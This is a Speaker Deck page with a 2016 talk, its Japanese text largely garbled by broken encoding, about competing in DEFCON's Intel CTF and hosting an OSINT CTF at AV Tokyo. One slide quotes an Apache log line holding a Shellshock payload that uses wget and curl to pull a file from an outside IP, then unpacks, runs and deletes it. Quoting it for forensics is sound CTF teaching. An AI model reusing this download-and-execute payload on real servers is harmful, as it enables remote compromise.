Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Intel CTF and Open xINT CTF 20161220
Search
Yuho Kameda
December 20, 2016
Technology
1
1.2k
Intel CTF and Open xINT CTF 20161220
OSINTのCTFに参加して開催した話で! 2016/12/20 #ssmjp
Yuho Kameda
December 20, 2016
Tweet
Share
More Decks by Yuho Kameda
See All by Yuho Kameda
How to use OWASP ZAP & Vulnerabilities Slikmap
ykame
0
8.9k
Enjoy Daily Life by handy tool
ykame
0
94
Find Trust-Information -Public- 20170630 #ssmjp
ykame
1
2.4k
Hey Siri! Hello Barbie! ssmjp
ykame
0
880
How to create the alert by script of ZAP
ykame
2
680
[bpstudy] OWASP ZAP Vulnerable Assesment.
ykame
2
1.3k
What is ZAP?
ykame
0
490
MINI Hardening #1.2 20分LT ZAPを使ったHardening対策術 2015/8/29
ykame
2
530
How to install VMwarePlayer and OWASP BWA
ykame
1
970
Other Decks in Technology
See All in Technology
Kubeshark で Kubernetes の Traffic を眺めてみよう/Let's Look at k8s Traffic with Kubeshark
kota2and3kan
3
370
LINEヤフーのフロントエンド組織・体制の紹介【24年12月】
lycorp_recruit_jp
0
530
Postman と API セキュリティ / Postman and API Security
yokawasa
0
200
re:Invent 2024 Innovation Talks(NET201)で語られた大切なこと
shotashiratori
0
300
社内イベント管理システムを1週間でAKSからACAに移行した話し
shingo_kawahara
0
170
Amazon SageMaker Unified Studio(Preview)、Lakehouse と Amazon S3 Tables
ishikawa_satoru
0
150
サービスでLLMを採用したばっかりに振り回され続けたこの一年のあれやこれや
segavvy
2
360
Storage Browser for Amazon S3
miu_crescent
1
110
CustomCopを使ってMongoidのコーディングルールを整えてみた
jinoketani
0
220
KubeCon NA 2024 Recap / Running WebAssembly (Wasm) Workloads Side-by-Side with Container Workloads
z63d
1
240
NW-JAWS #14 re:Invent 2024(予選落ち含)で 発表された推しアップデートについて
nagisa53
0
250
Amazon VPC Lattice 最新アップデート紹介 - PrivateLink も似たようなアップデートあったけど違いとは
bigmuramura
0
190
Featured
See All Featured
A Philosophy of Restraint
colly
203
16k
Java REST API Framework Comparison - PWX 2021
mraible
PRO
28
8.3k
Intergalactic Javascript Robots from Outer Space
tanoku
270
27k
The Language of Interfaces
destraynor
154
24k
Optimising Largest Contentful Paint
csswizardry
33
3k
Designing Experiences People Love
moore
138
23k
Evolution of real-time – Irina Nazarova, EuRuKo, 2024
irinanazarova
5
440
Become a Pro
speakerdeck
PRO
26
5k
The Myth of the Modular Monolith - Day 2 Keynote - Rails World 2024
eileencodes
17
2.2k
Site-Speed That Sticks
csswizardry
2
190
Statistics for Hackers
jakevdp
796
220k
Gamification - CAS2011
davidbonilla
80
5.1k
Transcript
OSINTͷCTFʹ ࢀՃͯ͠։࠵ͨ͠Ͱʂ 2016/12/20 #ssmjp @YuhoKameda ɹɹɹɹɹɹɹɹɹ @pinja_xyz
ࣗݾհ ُా ༐า : ykame (@YuhoKameda) ZAP Evangelist OSINT ओͳۀ༰
WebΞϓϦέʔγϣϯ੬ऑੑஅ ϓϥοτϑΥʔϜ੬ऑੑஅ SOC/CSIRTۀ ۓٸҊ݅ͳΜͰཁһ… ใऩू
ࠓ͢͜ͱ DEFCONͰIntel CTFʹࢀՃͨ͠ AV TokyoͰOpen xINT CTFΛ։࠵ͨ͠
DEFCONͰIntel CTFʹ ࢀՃͨ͠
DEFCONͰIntel CTF DEFCONͬͯͳʔʹʁ ຖՆʹϥεϕΨεͰ։࠵ BlackHatʹଓ͚ͯ։࠵ ༷ʑͳCTFίϯςετ͕͋ΔϋοΧʔ ͷࡇయ
DEFCONͰIntel CTF Intel CTFͬͯͳʔʹʁ 2015͔Β࢝·ͬͨɺIntelligenceʹযΛͯͨ ڝٕ ୈ2ճ(2016)ͷςʔϚɺੈքͷTop50ʹೖΔا ۀͷThreat Intelligence Analystͱͯ͠ɺ߈ܸऀΛ
͍ͯ͘͠աఔͰ༷ʑͳΛճ͢Δ ༏উۚ$2,500 pinjaͰࢀՃʂ(@luminࢯɺ@awamori_ttࢯ + me) ݁Ռ12ҐͰͨ͠
Intel CTFͷ݁Ռ
ͲΜͳ͕͋ͬͨͷʔʁ 1 The Vuln: What is the vulnerability that was
successfully exploited also "known" as? 4ϑΝΠϧܭ508ສߦͷApacheϩάͷத͔ Βɺ߈ܸʹޭͨ͠1ߦΛݟ͚ͭΔ XX.XX.XX.XX - - [21/Jul/2016:02:58:19 -0700] "GET /product/? id=2085 HTTP/1.0" 500 4958 "" "() { : ; }; /bin/bash -c 'wget -O / tmp/a.jpg http://52.37.125.215/ ; curl -o /tmp/a.jpg http:// 52.37.125.215/ ; tar -xzvf /tmp/a.jpg ; chmod 777 /tmp/* ; /tmp/a ; rm -rf /tmp/*'"
1ͷ͑ʁ What is the vulnerability that was successfully exploited also
"known" as? ͳ͔ͳ͔͕͑߹Θͳ͍… Shellshock? shellshock?
1ͷ͑ʁ What is the vulnerability that was successfully exploited also
"known" as? ͳ͔ͳ͔͕͑߹Θͳ͍… Shellshock? shellshock? Bashbug? CVE-2014-6271?
1ͷ͑ʁ What is the vulnerability that was successfully exploited also
"known" as? ͳ͔ͳ͔͕͑߹Θͳ͍… Shellshock? shellshock? Bashbug? CVE-2014-6271? ͑ʮBashdoorʯ
ͦͷଞͷ <Level1> ϚϧΣΞͷ௨৴ઌʁ ߈ܸݩIPͷASN(Autonomous System Number)ʁ ߈ܸݩIP͕ެ։͍ͯ͠ΔWebαʔόͷόʔδϣϯʁ <Level2> ϚϧΣΞͷ໊લʁ ༻͕ແޮԽ͞Ε͍ͯΔ໊ؔʁ
Ϙοτͷ໊લʁ Bot Harder͕༻Δ͢ΔMaildropʁ
ଞʹ͋ΔSocial Engineering CTF(SECTF) ࣮ࡍͷاۀిͯ͠ใࡡऔ͢Δڝٕ Black Badge͑Δۄίϯςετ blog.yka.me Ͱɺ2015ͷใΛupͯ͠·͢ http://blog.yka.me/2015/08/social-engineering-ctfsectf-defcon-23.html
AV TokyoͰOpen xINT CTFΛ ։࠵ͨ͠
AV Tokyoͬͯͳʔʹʁ ηΩϡϦςΟք۾ͷਓ͕ɺू·ͬͯҿΜ ͰɺൃදΛฉ͍ͯҿΜͰɺҿΉ ϋοΧʔίϛϡχςΟ no drink! no hack!
Ԡื·ͰͷྲྀΕ 8/6 20:00 ʮOSINTؔͷCTFຊͰΓ͍ͨͰ͢Ͷʯ ʮձࣾؔͩͱ༰͕… AVTokyoͷCFxͱ͔Ͳ͏Ͱ͠ΐ͏ʯ ʮʒ(8/15)͍ۙͰ͢Ͷɺམͪண͍ͨΒग़͠·͠ΐ͏͔ʯ 8/7 10:00 ɹɹʙ16:00
Intel CTFڝٕࢀՃ 8/8 13:19 writeupΛڞ༗ 8/8 22:26 Call For Xͷจষୟ͖ 8/12 Call For Xఏग़done
࣮ࡍʹ։࠵ͯ͠Έͨ 10/22 15:00 - 19:30 @ौ୩
Open xINT CTFͱʁ http://xintctf.wpblog.jp/ ձͰͷؔऀͷฉ͖ࠐΈSNSͳͲͰඞཁͳใΛऩ ू͠ɺ࣍ʑ໌Β͔ʹͳΔώϯτΛղ͖ͳ͕ΒຊؙʹͨͲΓ ண͘ɺݱͷεύΠཆίϯςετ ࢀՃऀ(εύΠ) ߈ܸऀΛௐࠪ (ผͷεύΠ)
߈ܸऀ(ϋοΧʔ) ৮ USB୳ࡧґཔ USBʹ᠘ΛࠐΜͰ৮ ಠࣗʹௐࠪ
7 1. pinja.xyzͷ։ઃऀ(߈ܸऀ)ͷϝʔϧΞυϨεʁ 2. ߈ܸऀ͕ॴ༗͢ΔFacebookΞΧϯτʁ 3. ߈ܸऀཱ͕ͪدͬͨ(ࣸਅ)ҿ৯ళͷ࠲ඪʁ 4. ߈ܸऀͱҰॹʹ৯ࣄ͍ͯ͠Δਓ(εύΠ)ͷFacebookΞΧϯτ ʁ
5. ͜ͷਓ(εύΠ)Λࣸਅ͔Βಛఆ͠ɺAV TokyoͰ৮ͯ͠ʮ͏· ͘৴༻ͤͯ͞ʯใΛҾ͖ग़ͤ 6. εύΠ͔ΒҾ͖ग़ͨ͠ใΛݩʹɺʮϞϊʯΛݟ͚ͭɺಘΒΕΔ ใΛݟ͚ͭΖ 7. ͦͷϞϊʹ᠘ϦϯΫΛֻ͚ɺʮෆ৹ʹࢥΘΕͳ͍Α͏ʯ߈ܸऀ ʹAV TokyoͰʮϞϊʯΛͤ
͋ΔʮϞϊʯ(USB)Λ୳ͯ͘͠Δ MAMORIOΞϓϦͰԠνΣοΫ http://www.mamorio.jp/ ΞϓϦͰԠͷ͋ͬͨۙΛ୳͢
ৄ͘͠ࢀՃऀͷwriteupΛʂ ΤΫετϦʔϜCTFͭΒ͍ʢOpen xINT ͷWriteup?ʣ http://pinksawtooth.hatenablog.com/ entry/2016/10/24/010049 Open xINT CTF Writeup
http://qiita.com/nicklegr/items/ 5ebcdaac86a21613c94a
ࢀՃऀ : 93ਓ 1Ͱղ͚ͨਓ : 67ਓճ 1: 67ਓɺ2: 49ਓɺ3: 8ਓɺ4:
28ਓɺ5: 7ਓ
࠷ऴతͳ݁Ռʁ (700Ҏ্) [߹ܭ + εύΠಘ + ࠷ऴճ࣌ؒ] Sh1n0g1ɹ900 +ʢ100ʣ18:45:56 tigerszkɹ900
+ʢ100ʣ 19:20:49 rcsirtɹ900 +ʢ0ʣ17:16:36 nicklegrɹ700 +ʢ200ʣ17:39:52 brightblueɹ900 +ʢ0ʣ19:25:33 TomoriNaoɹ700 +ʢ100ʣ17:20:22 tonko2ɹ600 +ʢ100ʣ17:11:11 Sakura Ayaneɹ700 +ʢ0ʣ17:31:46 ໊લ͕ొ໊ͱҰக͠ͳ͍ํεύΠಘ͕0ͱͳΓ·͢ ಉͷ߹ɺ࠷ऴճ͕࣌ؒૣ͍ํ্͕Ґͱ͠·͢